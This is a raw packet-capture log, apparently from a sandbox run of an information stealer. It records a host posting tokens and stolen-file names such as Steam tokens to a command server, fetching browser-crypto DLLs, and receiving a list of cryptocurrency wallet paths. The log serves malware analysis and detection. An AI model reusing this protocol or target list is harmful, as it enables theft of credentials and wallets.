Sep 28, 2024 10:19:07.862879992 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:07.956516027 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCAFIIECBFIDHIJKF Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 28, 2024 10:19:08.687597990 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:08.702788115 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"------AFBFHDBKJEGHJJJKFIIJ--
Sep 28, 2024 10:19:09.427083969 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:09.800060034 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="file"------IIIEBGCBGIDHDGCAKJEB--
Sep 28, 2024 10:19:10.521461964 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:10.698730946 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 28, 2024 10:19:10.923685074 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 28, 2024 10:19:12.167125940 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 28, 2024 10:19:12.392448902 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 28, 2024 10:19:13.154752016 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 28, 2024 10:19:13.380255938 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 28, 2024 10:19:13.921900988 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 28, 2024 10:19:14.246560097 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 28, 2024 10:19:17.190762997 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 28, 2024 10:19:17.416276932 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 28, 2024 10:19:17.748240948 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 28, 2024 10:19:17.973589897 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 28, 2024 10:19:18.608648062 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 28, 2024 10:19:19.519666910 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:19.572640896 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"wallets------FIIDBKJJDGHDHJKEHJDB--
Sep 28, 2024 10:19:19.803514957 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 28, 2024 10:19:19.806765079 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"files------IIIEBGCBGIDHDGCAKJEB--
Sep 28, 2024 10:19:20.035098076 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 08:19:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 10:19:20.045475006 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 33 63 38 63 34 39 38 62 61 66 39 34 62 65 33 31 30 65 36 64 34 32 32 36 36 66 66 31 32 35 36 63 61 65 38 64 64 30 61 61 34 64 34 61 64 31 61 64 31 61 31 39 39 37 34 33 31 32 30 32 38 31 31 32 30 64 33 34 34 63 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"e3c8c498baf94be310e6d42266ff1256cae8dd0aa4d4ad1ad1a199743120281120d344c0------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="file"------JEHIJJKEGHJJKECBKECF--
